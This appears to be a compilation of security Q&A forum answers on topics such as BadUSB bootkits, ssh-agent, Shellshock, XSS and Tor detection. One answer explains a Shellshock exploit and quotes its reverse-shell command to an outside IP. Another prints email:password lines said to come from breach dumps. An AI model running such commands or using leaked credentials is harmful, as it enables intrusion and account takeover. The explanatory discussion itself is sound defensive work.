USB is a host-device protocol. When you plug something in, the host plays 20 questions with the device asking it a myriad questions. Amongst the rounds of animal/vegetable/other are the questions "what device class are you?" and "who made you?"

USB device classes allow very common cases of USB hardware to talk in identical ways. You can think of USB as the transport (like say TCP/IP) and device classes as the application layer protocol (http, imap). This is just an analogy of course.

In the case of BadUSB, one of those devices, an endpoint in our network, is going to lie it's little heart out. It could do many things, but let's go back to the boot process above. At one stage the BIOS needs to do two things: parse the CD-ROM record data (ISO9660) and read the el-torito entries to get the boot code for the live cd.

Since BadUSB firmware tells lies, there is no reason that this step cannot replace the boot code with something malicious. From there, the malware simply needs to set hooks all the way up the boot process until it can run safely in the kernel. This is demonstrated in vbootkit2 (where the ISO boot image is already malicious, rather than being substituted by the firmware).

For your live CD, I'd think this is the biggest concern. Once the malware has a "bootkit" in your install, there is no reason it cannot alter the install process to persist, or otherwise drive the live install to attempt to infect your system further.

A keyboard-pretending device plugged in whilst your install took place would allow the keyboard to inject commands onto the system - I haven't looked at the Ubuntu install media for a while but there is usually a drop to terminal session. However, I'd suggest an attack like this would be even more complex than attacking the bootloader - with code you can detect and adapt to changes but with hard coded commands you are limited.

Of course, the practicality of all of this depends on storage space in the USB firmware device, since you're going to need to store sufficient binaries to at least bootstrap your malware from the network (or sufficient strings of characters to do it via a keyboard). Remember, to work you still have to do most things firmware usually does - such as drive the CD-rom in this case.

I am not personally familiar with the average space available to firmware on commodity external dvd drives... it could well be enough at the time of writing, but maybe not.

Am I at risk?

Probably not. While targeting the load address of the bootloader from CD or even hard disks is easy since it is known, knowing where to patch in the boot process versus the immeasurable number of linux distributions and kernels (and even bootloaders) out there makes this very tricky to implement except against specific, individual targets. That said it is not impossible.

The best example I know of a boot-based attack is vbootkit2(openoffice presentation link, Possibly NSFW: contains proof of concept for malware). In the downloadable code, vbootkit2 has a malicious boot sector on their live ISO that attacks the Windows kernel on your hard disk by patching each step of the boot sequence essentially as I describe above.


Is there a security concern having RSA private key added to ssh-add?

ssh-add is used to add private keys to a local ssh-agent. That means that the private key will be accessible to the agent (probably it can be read from memory by an administrative account). But normally it should never leave the local machine (from ssh-agent man page):

  The agent will never send a private key over its request channel.
       Instead, operations that require a private key will be performed by the
       agent, and the result will be returned to the requester.  This way, private keys are not exposed to clients using the agent.

If you think that you can trust your local machine, the risk should be acceptable. And anyway, you should never use a private key on a machine that you do not trust, be it through ssh-agent or directly.

You should be aware, that ssh-agent can forward usage of the private key over an ssh channel.

  Authentication data need not be stored on any other machine, and
       authentication passphrases never go over the network.  However, the connection to the agent is forwarded over SSH remote logins, and the user
       can thus use the privileges given by the identities anywhere in the network in a secure way.

That means that if you use it while connected to a hostile machine, an attacker could never capture your private key, but it could make authenticated connections to other machines of the network on behalf of your account. Whether it is a problem actually depends on how you trust the machines that you connect to.


Is it possible to inject values in a drop down list?

Dropdown lists are an HTML/UI construct.   There isn't any such concept in HTTP, which is how the client and the server ultimately talk to one another.

So, while yes, a client could alter the page, that isn't absolutely required, because there doesn't actually need to be a page.   In the end a client simply sends an HTTP request back to the server and it contains some data, and that data could be the values entered into the HTML form, or it could be arbitrary values chosen at the user's whim.

The bottom line is, you can't trust input.  Anything sent by the client should be suspect, there's no guarantee that it's what you expect, and it must be validated on the server before acceptance.


Many components in a computer (lets say a complete laptop) require some kind of permanent memory to most of its components (graphics chips, memory modules, keyboard etc) in order to function properly. Early in the startup of the computer there is (or could be) voltage regulation issues, startup sequences that is controlled by code that is stored in permanent memory on most of these components. This kind of firmware or early startup permanent memory is usually stored in small memory chips on each individual component. The memory chip could be an EEPROM or similar. Despite the small memory capacity available, that chip be used to store a small piece of malicious code that could allow an attacker to get a foothold once the computer is fully started.

I do not believe that we could construct a, physical, volatile memory-only computer today.


Is there any reason to disable paste password on login?

There is no substantial security benefit to disallowing pasted passwords; on the contrary it is likely to weaken security by discouraging the use of password managers to generate and autofill randomized passwords. While some password managers are capable of overriding pasting restrictions, the point still stands that users should not be forced to type their password by hand.

Excerpt from a relevant WIRED article:

  Websites, Please Stop Blocking Password Managers. It’s 2015

  But what’s crazy is that, in 2015, some websites are intentionally
  disabling a feature that would allow you to use stronger passwords
  more easily—and many are doing so because they wrongly argue it makes
  you safer.

  Here’s the problem: Some sites won’t let you paste passwords into
  login screens, forcing you, instead, to type the passwords out. This
  makes it impossible to use certain kinds of password managers that are
  one of the best lines of defense for keeping accounts locked down.


Is displaying what server I am running on the error pages a security risk?

Revealing that information is a security risk, in the context of a security assesment of your website. (I'm talking about checkbox style assesments here)

Nothing more than that - it just makes fingerprinting the webserver more difficult, but by no means impossible - not even hard. It will not hinder any attacker specifically targeting the website not even a bit, although it will force him to take actions that will possibly hit some IDS. It may hinder some automated crawlers or mass attacks. though.

I would categorise this to the 'best practices' list.


First and Foremost the "trick" you are using is an exploit of your ISP's poorly planned infrastructure. As such it is most likely just as illegal as joining your neighbors WiFi because they left the default password enabled.

Why it works:

Your ISP is only monitoring HTTP/HTTPS traffic either via a transparent proxy of there own, or deep packet inspection.  For whatever reason, they are not monitoring (or more likely monitoring but not charging) for other forms of network traffic ie VoIP services.  This means if you setup your device to tunnel its traffic through to an external proxy via sock5 or socks5 over ssh ... your packets will be logged as non-HTTP(s) traffic and thus you will not be charged (yet).

Why this is Dangerous:

The "FREE" proxy you are using is most likely doing nefarious things.  Your ISP works with in the limits of the law ... this means they will not do things like steal your sessions, rewrite client-side javascript, steal your credit-card information ... etc.  I would recommenced watching this video for examples of what vulnerability you are exposing yourself to by doing this.

Also, as I mentioned already ... use of this exploit is illegal.  There is a very high likelihood that your ISP is tracking this bandwidth and while it is not currently charging you for it ... could retroactively charge you for it in a future bill.


How do I check the code of a Chrome extension to make sure it's not stealing my info?

First of all I would pay attention to Permission Warnings.

Performing an analysis of an extension is a game of cat and mouse.  You can sniff the network traffic and the attacker can use Stenography.  You could unpack the extension and look at the JavaScript code,  but the malicious code could be obfuscated or underhanded.

That being said.  Chrome runs extensions in a sandbox.  These extensions run JavaScript very similarly to JavaScript that run in the context of a website with only a few added permissions. These extensions don't have access to the shell or the file system or even to another extension's data store.   They are limited in the number of HTTP requests that they can make to prevent DDoS.   Its not a very ripe target.


There are national agencies handling scam, fraud & phishing reports (e.g. USA, UK).
However, this inheritance scam is an example of advance-fee scams including 419 scam, Nigerian prince scam and many other. The email you got is following a so well known pattern that reporting it wouldn't really increase any information on the subject. Scams like this have been around long before email, e.g. The Spanish Prisoner from 1910. From this perspective it might be better just delete it.
It might be useful to report the origin of the spam, though, as it could be a compromised system. Therefore, the owner of the abused system and the network operator should know about the situation. The correct party to contact can be found by investigating the Received headers of the message and looking for abuse contact information in the WHOIS database. As not everyone can interpret this information correctly, there are services for this, too, like the SpamCop.


Multi-business data sharing and trust issues

That's pretty classical public-key infrastructure. All businesses have a secret private key, and a public key that matches that.

You can encrypt a dataset with the public key of a single business, and share it with all: only the owner of the matching private key can decrypt it.

If you now want to share something with many instead of single recipients, instead of encrypting the same data for every recipient, you could just generate a symmetric key (i.e. one that's the same for en- and decryption). That is much less data than the actual dataset – and then you just encrypt that single key separately for every single intended recipient, and encrypt the dataset with the single key.

There's even cooler cryptographic approaches to partial keys, but honestly, for "a couple dozen", this is plenty flexible.


How do I know an Anroid app is completely removed?

There are a few checks you can do:

Go to Settings>Security>Device administrators and check if there's any app that shouldn't be there. The location of device administrators might vary from device to device.
Check if your phone is transferring huge amounts to data. Android has in-built tracker(depending on the Android version) for this which shows you which app is transmitting how much amount of data.
Check the list of installed apps and see if there's any app that shouldn't be present there. If yes, Google the name of that app and then take a decision if it has to be uninstalled or kept.
If you're still worried that your device is infected, hard-reset the phone.


Testing Malware in one Virtual Machine which is running side by side along with other Virtual Machines

Network questions:
All your network related questions are basically down to the malware been able to talk with other computers on the network to. So, if the other devices outside of your guest machine are vulnerable then you're exposing your whole network. You'll want to have different NATs so they can't talk to your host machine or any other device on your network.

Separating CPU Cores
Yes, you can allocate certain cores and set an execution cap (Though this would depend on what VM software you download.)

How secure is my VM
It is possible for malware which executed inside the guest machine to execute outside of the VM. I'll get you references when I'm at home. So, don't believe because you are running VM that your host machine is secure.


How to avoid data discrepancy between multiple parties with dependent financial interests?

Cryptography is not going to be of use. What you have is a matter of objective assurance. How does one party assure the other that the data is accurate and that it could not possibly be any different? Cryptographically, I could assert anything. What you are trying to battle is a "conflict of interest".
3rd parties who do not have an interest in one outcome or another is the typical way this is handled. An uninterested observer makes the assertion. Both parties are bound to the observer's assertion.


One of the most logical explanations is that those accounts were associated with a bot. Same goes for password like 18atcskd2w.

Graham Cluley  wrote an article about this: So, Just Why Is 18atcskd2w Such a Popular Password?

  Can so many people really be choosing to protect their online accounts
  with the same, seemingly random choice of “18atcskd2w”, “3rjs1la7qe,”
  or “q0tsrbv488”?

  The answer, of course, is no. People are not choosing those passwords.

  Yes, those credentials can be found amongst the stolen data, and those
  passwords are being used on many tens of thousands of accounts, but it
  wasn’t a human being who chose that password. It was a computer.

  Human brains were responsible for choosing passwords like “123456”,
  “password,” and “qwerty.” But there is no way that 91,103 people
  independently chose to secure their accounts with “18atcskd2w.”

  Instead, what I believe happened is that these accounts were created
  by bots, perhaps with the intention of posting spam onto the forums.

Edit:

Ok, I went to check some of records ("dumps") from breached websites:

ilerrhyc@qgjkwntm.com:18atcskD2W
lprfzoyj@aboriaqk.com:18atcskD2W
ytjcvfhx@erbnxkjx.com:18atcskD2W
imuudluz@qsldpvlx.com:18atcskD2W
rrrowvvn@gdcufxsg.com:18atcskD2W
kixtigma@snjkuxjh.com:18atcskD2W

I'm pretty sure that those passwords were associated with bot, but funny thing is that attacker used random username with random-non-existing domain, but non-random password.


On a switched network, promiscuous mode does not show you any additional traffic because the network switch will only forward packets destined for your MAC address to your port on the switch.  In the case of a MITM, you can use ARP spoofing or other MITM techniques to get clients to connect through you, such that you can see their traffic.

As you point out, a MITM can also conduct active attacks (tamper/modify/drop traffic) to further benefit their objectives.


How to redefine the maximum number of decoys in a nmap scan?

nmap.h is a header file. You will find the default nmap.h in the github repo.

To change the maximum number of decoys you need to compile and install from source code. If you already have done, you can just go to the directory with the source code, edit nmap.h, then compile and you're done.

If you installed a package you will need to get the source code from https://nmap.org/download.html You can then either remove the package or install the latest one alongside the package by passing the --prefix option to configure and install it where it will not get in your way. nmap compilation and installation has been pretty painless for me. On FreeBSD the only dependencies are gnupg (To verify the tarball) and gmake (for building nmap). On Linux I believe you just need a build environment, on Debian the package build-essential should be all you need.

There is a book on nmap with a lot of good information. Here is the chapter on compilation and installation https://nmap.org/book/inst-source.html


Changing VeraCrypt password during encryption

You cannot change the password during in-place data encryption or while the volume is being created. That is, when you are creating a new volume and the system is taking its time writing to the disk, you will not be able to change the password or any other aspects of encryption. You will be able to change the password only after it has finished. If this is what you want to do, then your plan is feasible.


Is it possible to track/save Google searches that were never submitted?

As inefficient as it sounds, that's exactly how it works.

Head on over to google.com, bring up your developer tools in your browser (CTRL+SHIFT+I or CTRL+OPTION+I in Chrome), click the network tab, and then start typing in the search box. You'll see a series of GET requests to to the /complete/search url path, like this:

https://www.google.com/complete/search?client=psy-ab&q=he
https://www.google.com/complete/search?client=psy-ab&q=hel
https://www.google.com/complete/search?client=psy-ab&q=hell
https://www.google.com/complete/search?client=psy-ab&q=hello

You'll probably have a bunch of other query parameters in there, but the client identifier and the query are the two required ones. The return from that request contains the autocomplete list for the substring you typed.

This means that autocomplete queries follow the same storage rules as not-autocomplete queries; if you have a proxy or cache or whatever, they'd appear there.

There's a couple of special rules at play, though: since they're XHR queries sent in the background rather than queries you type into the URL bar, the browser doesn't put them in your navigation history. And (IIRC) Google only uses this feature if you're on TLS, so it won't ever send these queries over plain text. And finally, since Google knows that they're autocomplete requests instead of actual searches, they don't appear in your stored search history associated with your account.

In terms of efficiency, this is why Google is investing so much in protocols like SPDY and QUIC (variations of which are now being standardized as HTTP/2 and HTTP/3). These allow extremely low-overhead HTTP traffic, getting it down to as low as one UDP packet in each direction for one of these autocomplete requests.


Yes Google, as well as other search engines, do see quite a large number of vulnerabilities and misconfigurations on websites. These are indexed and frequently can be searched for either by attackers or security researchers.

There's even a term for it "Google-hacking:
https://en.wikipedia.org/wiki/Google_hacking

There are many websites such as the following one which also keep track of these interesting searches:
https://www.exploit-db.com/google-hacking-database/

If you know a bit about penetration testing this becomes even easier because you tend to keep track of older versions of applications or plug-ins with easy to exploit holes and you can then use the search engines to find these vulnerable systems on a very large network quickly. For example think of searching for an old version of php anywhere at site:company.com  This can quickly help someone find vulnerable systems across what could potentially be over 100,000 publicly available computers ending with company.com.

So yes this does technically allow the world to see the vulnerabilities and search for them a bit easier but there are so many attackers scanning the entire IPv4 address space looking for particularly vulnerable systems that even if this were removed from search engines it wouldn't really put a dent into the number of systems compromised.

Another search engine you may also want to look at is called Shodan
https://www.shodan.io/

Shodan lists all sorts of vulnerabilities and it's not restricted to http so it can find telnet, ssh, database vulnerabilities as well.

To their credit Google does filter searches for credit cards now. A long time ago it was possible to search for credit cards and you could find all sorts of misconfigured systems or credit card dumps just via simple searches.

Hopefully this helps.


What goes into an average incident response process for a corporate network?

A basic set of processes should include the following high level categories:

Threat analysis - this should include all types of threats; natural disasters, terrorist attack, foreign espionage etc and should be reviewed annually to understand and prepare for likely incidents. These threats should be mapped to incidents and these mappings should feed into the development of incident response procedures. This is the key preparatory stage.
Classification of incidents - classification should be owned centrally, and should be the responsibility of the business. This classification should include impact and likelihood thresholds, along with escalation requirements. This will help determine how incidents are responded to, with what urgency, and with what sort of resolution expectations.
Operational procedures - communication and escalation procedures should be formalised and documented for each business unit. These need to include named individuals or teams, service levels, response times, and communication protocols within and outside the team and organisation. The teams involved will depend on classification of the incident, but each team will require operational procedures to meet standard requirements for communication, measurement, integrity and resilience.
Post incident review - post incident review should be formalised and mandatory for all incidents. This should include a complete impact assessment to help the organisation understand the incremental, long term and intangible costs of the incident.
Final closeout - closeout should include recording of incident resolution time and activities, as well as the comparison with the expected outcome so that improvement can be made.

I think, from the wording of the question, that you are most interested in the Operational Procedures section, so I'll drop down a level here:

Operational Procedures will include items like:

Retention of all information recorded by the incident team from the beginning of the incident to at least the closeout. Beyond that time, retention will be according to corporate or regulatory requirements.
Putting a hold on all log rotation - instead of following the normal log rotation cycle, logs dating back a defined amount (this may be an hour, a day or longer) will be made available to the investigation team.
As any incident could be a criminal incident, no matter what it first looks like (As an example, tectonic exfiltration - opportunistic theft of hardware occurred during the chaos caused by the earthquakes in New Zealand) the recording of data should be as complete as possible, and recorded to storage that is Write-Once, Read-Many if possible, and forensic rules should apply.
Identification of activities to rapidly remediate and get back to Business-as-Usual, as well as activities to fully investigate the root cause of the incident.
Internal and External incidents may be dealt with very differently (for example an employee who has stolen critical data may just be fired and walked off the site, but evidence that a competitor has been carrying out industrial espionage may be passed to the police, or may be quietly hidden - these decisions will have business outcomes so need to be discussed at the level of the Chief Risk Officer or equivalent)

Remember that every item or activity is a cost option, so we very rarely see all of these carried out. The first to go is usually the forensic recording of data or activities, as a business suffering a major incident may be losing money every minute the incident continues. The driver is likely to be getting back up to normal operating procedures first, followed by an investigation after the fact.

For a couple of specifics on Computer Security Incident Response, check out this IETF document and this CERT document.


I think this works a bit like a home alarm system sign. Just the sign itself in your front lawn will deter burglars from even trying to get into your home because of how much more difficult it looks like it will be.

In a similar sense, having this achievement acts like the sign: if an attacker saw this they might not even try to get into this account because it's increased perceived difficulty.

Does this increase the likelihood of another account being targeted?

I'd say yes since the pool of potential targets just became smaller, any individual in that pool has an increased chance to be a target

What can those without the achievement do to reduce their chance of being attacked?

Put up a home security sign (Enable two factor authentication!)

Summary: It doesn't undermine two factor authentication but, hopefully, encourages others to follow best practices in securing their accounts.


OS fingerprinting: can I rely on the results?

First, the theory
OS fingerprinting works by examining the quirks about how a given computer responds to network traffic. While RFCs specify a lot about TCP/IP stack behavior, some of the details or defaults may not be officially specified, and some OSes may deviate slightly even in prescribed behavior. Since the TCP/IP stack low-level behavior is generally implemented in the OS, implementation differences typically reveal the OS in use.

Next, the complications
That said, it's reasonably simple, almost trivial, to throw off these detection systems. Since these fingerprinting systems rely on the assumption that settings such as initial window size or TTL are never changed, simply changing the defaults is typically enough to throw the system. While some examined behavior reflects code differences, other aspects are user-configurable settings which generally never get changed.

In fact, beyond just confusing OS fingerprinting tools, additional tools exist for the express purpose of giving very specific but "falsified" results in response to fingerprinting attempts.


Detect Proxy and Tor exit nodes from an IP in python

This script can be used to get the list of a list of possible Tor nodes that might contact one of your servers. This is basically a list of tor exit nodes which contacted that ip address :
But for your use case this is there :
https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=YOUR_SERVER_IP&port=YOUR_PORT

This is a very raw python snippet that should work for you:

import requests
YOUR_SERVER_IP = '1.1.1.1'
YOUR_SERVER_PORT = '80'
USER_IP = '2.2.2.2'
data = requests.get('https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=' + YOUR_SERVER_IP + '&port='+ YOUR_SERVER_PORT)
if(data.status_code == 200):
    responsedata = str(data.text)
    ip_lists = responsedata.split('\n')[3:]#1st three lines are comments
    if(USER_IP in ip_lists):
        print("Tor usage detected")
    else:
        print("Not Tor")
else:
    print("Unable to connect . Error code :" + str(r.status_code))

Ideally you should save the data on disk and then query it because:

This list is updated only after 16hr.
You cannot query more than 4-5 times in 1hr. (Not really sure about the exact number of times and duration)


How much personal information should I provide to an identify theft monitoring company?

Instead of providing all of this personal information to a credit monitoring service who will then (supposedly) monitor for suspicious activity associated with your ID, you may want to simply freeze your credit report.  With your credit report frozen, it becomes inaccessible to banks or lenders.  If an identity thief were to try to take out a loan or open a credit card or line of credit using your name and ID, the bank or lender would not be able to pull your credit report, and would therefore be unlikely to issue the loan or line of credit to the thief.

Freezing your credit report is easy to do.  For more info on freezing your credit report from the FTC web site:
http://www.consumer.ftc.gov/articles/0497-credit-freeze-faqs

Links to pages at the web sites of the three major credit bureaus for freezing your credit report:
http://www.experian.com/consumer/security_freeze.html

http://www.transunion.com/securityfreeze

http://www.equifax.com/help/credit-freeze/en_cp


How to decrypt a text with substitution cipher?

You should be able to crack it with some simple statistics analysis, using common patterns of english language. For example the word 'the' or 'is' will appear frequently and same word would appear the same in different locations of the ciphertext.

After obtaining the key, you can probably write a simply script or program to 'decrypt' the message. I wrote a Ruby function that will do this

table = { 'a' => 1, 'b' => 'f' ... }
def decode(msg, table)
  msg.split("").each { |a| table[a] }.join("")
end


What's the point of storing an copy of args? (the /gs flag)

The /GS option is a heuristic protection against buffer overflow -- some kinds of buffer overflows, and only if they overflow in the "usual way". Visual C supposes that any variable which "looks array-like" may be subject to array-like treatment, and thus possibly overflow. It wants to detect whether an overflow has occurred, and do that before returning from the function, because traditional buffer overflows try to overwrite the return address. To detect such an occurrence, the compiler writes a "cookie" value between the potentially overflowed variable, and the return address; and the code checks that the cookie is still there when it is about to exit the function.

The compiler will do that for all "local variables", and arguments are such local variables. The detection system works only as long as the cookie is between the return address and the variable, so this may imply moving things around, which is what you talk about.

Consider this:

struct foo { int a; int b; int c; int d; };

void f(struct foo arg)
{
    char buf[20];
    // ...
}

In this function, both buf and arg are considered "array-like" (arg is deemed array-like because it is larger than 8 bytes). Remember that when you pass a struct to a C function (the struct itself, not a pointer to a struct) then the function receives a copy of the structure to play with. On the stack, you would find things like this:

buf
return address
arg

(increasing addresses in top-to-bottom order; the x86 stack grows towards low addresses, so "up" in the schema above.)

The "/GS" code will want to add a cookie, and put that cookie between any array-like variable and the return address. Since bytes beyond (below) the return address belong to the caller, the function cannot play with them as much as it would want, so it has to do its job in the free stack space. Thus, the code will want this:

buf
arg (copy of the received structure)
cookie
return address
arg (structure passed as parameter by the caller)

This involves copying the arg structure upon function entry. Since the structure is, semantically, already a copy, that the function can play with at will, the copy does not change the observable behaviour of the function. With this copy, any "normal" overflow on arg will hit the cookie before it overwrites the return address, and thus be (hopefully) detected when the function exits.

I must of course point out that such a protection is effective only if all of the following hold true:

The overflow is on a local variable.
The overflow is toward high addresses (overflow from the array top, not the array bottom).
The overflow is contiguous.
The attacker did not guess the cookie value (otherwise he might overwrite the cookie with the same value).
Damage on variables between the overflowing buffer and the return address are not a problem.

So you should not put too much credit in the effectiveness of such a system.


Advice for writing my first application security review

Any general advice based on the above?

Talk to the people who may be hurt by a potential attack on the system: either directly or indirectly. Understand what their concerns are and let them know that you will do your best to protect their records and their privacy. As a security representative your job is to protect assets (personal data, etc) against threats. Your best security-focused solution will emerge once after you understand what you are protecting.

Look for vulnerabilities, but don't get too detailed. There will always be a very technical complicated vulnerabilities, but in a lot of incidents it is the relativly simple vulnerabilities that are exploited. You will get little criticism for missing a vulnerability that requires a highly skilled sophisticated attacker but you will get a lot for missing the simple vulnerabilities.

Think about operational security. In a mostly closed system the insider threat is a  significant concern. Job rotation is a great method where practical. Look for ways to segment or break up the data so that if there is a breach or leak that the damage is limited.

  Should I write a security review or hardening guide?

I think you should focus on the security review. There are security resources for the various versions of windows, and I hope there are competitant administrators running those windows systems.

  Are there some good examples of similar types of reviews?


Data loss protection in software artifacts

I recently blogged about how I deal with my clients' source code. Essentially: version control for auditing, encryption for, well, encryption. Compiled artifacts are stored on the same encrypted filesystems, and if they have to go onto other devices, they are encrypted there where available and deleted as soon as they aren't in use.

A similar story is true for documents: I work on threat models for some clients, and they're managed pretty much the same way described above.

I guess what I'm saying is that there isn't really anything intrinsic to software engineering tools to stop data leakage, though of course a good SCM installation can limit and track who accesses confidential data, but once it's checked out you're on your own. Some of the DLP software can be configured to treat source code files as confidential, which may be worth checking out. But if you're working with consultants or subcontractors, then you have a contract with them and whatever level of detection/enforcement is mutually acceptable under the terms of the contract.


What is the need for the ;(1 in this XSS payload?

As far as I think, the

  ; in ;(1 is just for ending the alert tag.

And since you haven't mentioned in which context are you using this payload, it will be best to say that the ( is simply starting because there must be another ) after that so that the two parenthesis can match.

  Also, as you are concerned about 1, I think, you can write anything there "aaa" or "blahblahblah" will also work.

P.S. You have yourself mentioned in the question that both numbers and strings worked. When you are using this payload, just check in the response where does it get inserted. So that you can see by yourself how one parenthesis is used for closing the other to make a valid statement. Cheers..:)


Is it possible to exploit preg_match similar to preg_replace PHP?

No, match does not have an option to eval the capture group. However, depending on where that data is going your filtering is loose enough to allow exploitation of several bug classes in case you were using it as input validation.


How one can find a string whose MD5 hash has a specific prefix?

The only way to find a hash with a specific value (disregarding preimage attacks, which MD5 is still secure against) is to hash values until you find one that matches. 314159265358 is 12 hexadecimal characters, which is 48 bits. You would expect to find a specific 48 bit prefix after 247 guesses with probability 50%, so the question becomes how fast can you do 247 hashes on "a normal laptop"?

My laptop is getting pretty old now (2013 I think) but I ran hashcat on it in benchmark mode to see how well it could do. The GPU (GT 730M) was able to do 535.6 MH/s, so I would expect 247 hashes to take around 73 hours. A GTX 1080 appears to achieve around 25 GH/s, so that would only take around an hour and a half. Of course, that's only for a 50% chance; it could take more or less time than that, but it's a decent estimate.

That the hashed string contains only a-z is mostly irrelevant, as hash functions take arbitrary input and deterministically output a fixed number of bits. Since the input is restricted to fewer characters you may end up with a larger string to hash, which could cause the hash to be slower as it's hashing more data. MD5 appears to operate on a 512 bit block, but due to its padding you can only hash 447 bits before it uses 2 blocks (which would presumably cause it to take approximately twice as long, but I haven't tested). 447 bits rounds down to 440/8 = 55 bytes, so you can hash 55 characters before losing performance. 55 characters with 26 possible values is 2655; log2(2655) ~= 258, which is significantly larger than the 128 bit output size, hence I would expect that almost every possible MD5 output could be generated by hashing a string of [a-z]{1,55}.


If / is rendered by a cgi script, that script would be called with the User-Agent in an environment variable called HTTP_USER_AGENT.

bash would look at all environment variables starting with () { to find function definitions and execute the function definition. In your example the function definition would then be: HTTP_USER_AGENT() { :;}

Due to the bug bash would continue processing with ; being the command separator, and /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1' being another command, which did not just define a harmless function, but rather opened up your system to the attacker.

>& opens a file. /dev/tcp/ is special in that whenever bash would try to open a file with a name starting with that string, it actually opens a TCP socket instead. This is a feature of bash itself. It will not work if would be opened by another command, so for example would cat /dev/tcp/... not work.

0>&1 uses the socket previously opened for output for input as well.

bash -i starts an interactive bash shell with stdio connected to a TCP socket. Presumably 195.225.34.101 is the IP address of a host controlled by the attacker. Quite likely that is a server which the attacker compromised using the same vulnerability.

Using different IPs is probably just because the attacker want to be prepared in case some of the hosts he controls get taken down.


Remote VPN access and moving to the cloud

First, SSL stopped at version 3.0, which is massively flawed.  TLS is currently at 1.2 (plus a lot of activity in the TLS 1.3 working group).  This is generally a matter of acronym - hopefully when you say SSL encrypted, you actually mean TLS, and you specifically mean TLS 1.2 with AEAD ciphers.

Second, for TLS of any type, both protocol version and cipher suite selection is critical.  Please see My answer to Now that it is 2015, what SSL/TLS cipher suites should be used in a high security HTTPS environment?, which in this case boils down to: Use TLS 1.2 ONLY (no downgrade) with DHE or ECDHE, an AEAD (AES-GCM, ChaCha20) cipher and SHA-2.

Third, VPN can offer some protections like OpenVPN's --tls-auth, which is a pre-shared key that prevents clients lacking this key from even trying to connect.  See the Hardening article on OpenVPN.  TLS can try using client certificates for authentication, as well.

Fourth, you're missing several points regarding clients who have security concerns about applications in the cloud:

The "cloud" is nothing more than "servers I don't own"
Therefore, they're allowing servers they don't own access to their back end
You're trying to cover the communication channels, but that implicitly means you trust both the client's servers and the cloud servers owned by someone else.  The clients clearly aren't trusting those cloud servers the same way.
Trusting a software provider is different than trusting a cloud provider.  The software provider isn't able to suck all the data out of the client's systems without further access, nor can it put other data in, and that further access can be carefully managed and of limited scope and duration.
A cloud provider can do whatever the link to the back end allows - and that link is open almost all the time.
Every piece of data sent to that cloud provider is a piece that can leak, either in transit, or after arrival, or days, months, or years later after that cloud provider sells off some old hard drives carelessly, after their cloud service was running on an OS that happened to swap some RAM containing the client's proprietary, financial, and/or health care data to disk due to memory pressure, and then never overwrote those disk sectors.

Wiping data is, of course, more expensive than not wiping it.
And the company getting rid of the disks may not be the current cloud provider - that business may have been sold off, the company may have collapsed like Enron or Leeman Brothers, etc.

And then there's the last case, where one or both sides purchased well known, highly regarded VPN appliances only to find a massive backdoor in them, like the recent Juniper case.  No amount of correct setup can help with that.


SSH key auth, but still need password for sudo?

I am trying a different approach that doesn't require creating and managing passwords: I set up key-based authentication with the user's public key, disabled password-based authenticon for ssh and set up the user accounts with an empty but expired password  (passwd -de). That way users get prompted on their first login and can choose their own passwords.

I am feeling a bit uneasy about the empty password but as far as I can tell, it's fine as long as password authentication for ssh is disabled and there are no other services running that require authentication (IMAP or something). Any opinions on this?


How effective is Expect-CT against content inspection in an enterprise context?

The aim of certificate pinning is to protect against malicious man in the middle attacks and not against legal content inspection as done in companies and also desktop antivirus for protection, where the certificates are issued by an explicitly trusted local CA. it does not matter here that legal protection methods might also be used to invade the privacy - you need to discuss such things with your employer instead.

Insofar it makes sense to handle Expect-CT the same way and it is also documented to behave that way. From MDN: Expect-CT:

  Root CAs manually added to the trust store override and suppress Expect-CT reports/enforcement.


Attempting to find a XSS, why doesn't this piece execute?

This doesn't have anything to do with XSS filters, as evidenced by the same behavior across many browsers. It's not a queryString thing, it's just content. The answer is simple and re-assuring.

Inline script tags added via .innerHTML=strHTML, or the DOM method elm.appendChild(script) don't execute. This means you can inject malicious tags in all day; unless such tags hit the browser as hard-coded HTML (can be seen in view-source), they are benign.

jQuery's over-used $(elm).html(strHTML) method WILL run scripts, but only because it parses the string content and sends <script> tag content to the window.eval() function, which executes it. By default though, dynamic script tag content is NOT executed.

Your example uses react, which has a virtual DOM that reconciles existing page HTML and dynamic HTML internally using a non-DOM model. Once the changes are found, a series of small DOM-element replacements are made. Here again, adding <script> tags via the DOM doesn't execute tag contents, so this is safe in any browser.

You still need to look out for attribute-based "event handlers" like onerror, onload, onmouseover, etc, but <script>somethiungBad()</script> is benign if it's not printed by a server or "smartly" added by jQuery. The React framework used in the example might filter those problematic attributes for you, i'm not an expert on React...


Can 3rd party JavaScript libraries access the http headers of the hosting html page

As the commentators suggested you correctly, you will need to use the HttpOnly fla as a solution. But I just want to add a note regarding the right comments you received about HttpOnly flag.

In fact, if a client of your website uses a Mozilla Firefox browser of version before 3.0.6 (Bug 380418: XMLHttpRequest allows reading HTTPOnly cookies) and/or SeaMonkey browser of version before 1.1.15 (Rough Changelog for SeaMonkey 1.1.4) the HttpOnly  won't be helpful because this flag  won't be able to remove cookie information from the response headers in  MLHttpObject.getAllResponseHeaders().

Further reading.


You could use OTP for this.
Create a random secret and add it on the safe and your phone. When you want Peter to access the safe, you use your phone to pick a future date and generate the token, and send it to Peter. That token could be valid for an hour, or six, or a day, so adjust your generation algorithm accordingly.
That would create an issue when you want two or more people to access the safe at the same time. This could be adjusted by having 10 OTP secrets on the safe (0 to 9), and you concatenate the index of the selected key to the password.
Let's say the OTP for "January 30, 2021" on the secret 2 is 83641398, so Peter would have to enter 283641398 on the safe, and Jane would have secret 1, and her token would be something like 1977433. The safe would get the first digit to identify the secret, calculate the token, and authenticate the user. 9 digits is long enough to deter bruteforce, and short enough to be entered on seconds.
As an OTP is time-dependent, you have to keep a clock on the safe. It does not need to be accurate to the second, because the token life would be at least a couple hours, so even a 15 minute drift would not bring much difficulties to Peter or Jane.
And being time-dependent, the password don't have to be revoked later, and it would be useless on the next day.


Broadly, the design of Unix-like operating systems (in particular Linux, on which Android is based, and Mac OS X) means the OS is by design the only software entity that's allowed to communicate with the SIM. (I say 'software' because other hardware isn't quite so limited.) So I don't think this is something you need to worry about.

Or, phrased another way: yes, the 'firewall' you describe already exists. It's one of the most fundamental features of an operating system kernel.


Is there a router that acts as a VPN to get into the network but also sends traffic out through a VPN?

